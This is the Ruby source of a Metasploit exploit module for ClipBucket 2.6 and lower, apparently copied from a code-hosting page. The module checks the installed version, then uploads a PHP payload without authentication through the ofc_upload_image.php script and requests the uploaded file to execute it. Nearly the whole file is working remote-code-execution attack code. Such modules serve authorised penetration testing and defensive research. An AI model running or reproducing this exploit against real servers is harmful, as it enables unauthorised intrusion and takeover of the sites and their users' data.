114 lines
3.3 KiB
Ruby
114 lines
3.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::FileDropper
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def initialize(info={})
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super(update_info(info,
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'Name' => "ClipBucket Remote Code Execution",
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'Description' => %q{
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This module exploits a vulnerability found in ClipBucket version 2.6 and lower.
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The script "/admin_area/charts/ofc-library/ofc_upload_image.php" can be used to
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upload arbitrary code without any authentication. This module has been tested
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on version 2.6 on CentOS 5.9 32-bit.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Gabby', # Vulnerability Discovery, PoC
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'xistence <xistence[at]0x90.nl>' # Metasploit module
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],
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'References' =>
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[
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[ 'PACKETSTORM', '123480' ]
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],
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'Platform' => ['php'],
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'Arch' => ARCH_PHP,
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'Targets' =>
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[
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['Clipbucket 2.6', {}]
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],
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'Privileged' => false,
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'DisclosureDate' => "Oct 04 2013",
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The base path to the ClipBucket application', '/'])
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])
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end
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def uri
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return target_uri.path
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end
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def check
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# Check version
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peer = "#{rhost}:#{rport}"
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vprint_status("Trying to detect installed version")
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(uri, "")
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})
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if res and res.code == 200 and res.body =~ /ClipBucket version (\d+\.\d+)/
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version = $1
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else
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return Exploit::CheckCode::Unknown
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end
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vprint_status("Version #{version} detected")
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if version > "2.6"
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return Exploit::CheckCode::Safe
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else
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return Exploit::CheckCode::Appears
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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peer = "#{rhost}:#{rport}"
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payload_name = rand_text_alphanumeric(rand(10) + 5) + ".php"
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print_status("Uploading payload [ #{payload_name} ]")
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(uri, "admin_area", "charts", "ofc-library", "ofc_upload_image.php"),
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'headers' => { 'Content-Type' => 'text/plain' },
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'vars_get' => { 'name' => payload_name },
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'data' => payload.encoded
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})
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# If the server returns 200 we assume we uploaded the malicious
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# file successfully
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if not res or res.code != 200 or res.body !~ /Saving your image to: \.\.\/tmp-upload-images\/(#{payload_name})/ or res.body =~ /HTTP_RAW_POST_DATA/
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fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!")
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end
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register_files_for_cleanup(payload_name)
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print_status("Executing Payload [ #{uri}/admin_area/charts/tmp-upload-images/#{payload_name} ]" )
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(uri, "admin_area", "charts", "tmp-upload-images", payload_name)
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})
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# If we don't get a 200 when we request our malicious payload, we suspect
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# we don't have a shell, either.
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if res and res.code != 200
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print_error("Unexpected response, probably the exploit failed")
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end
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end
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end
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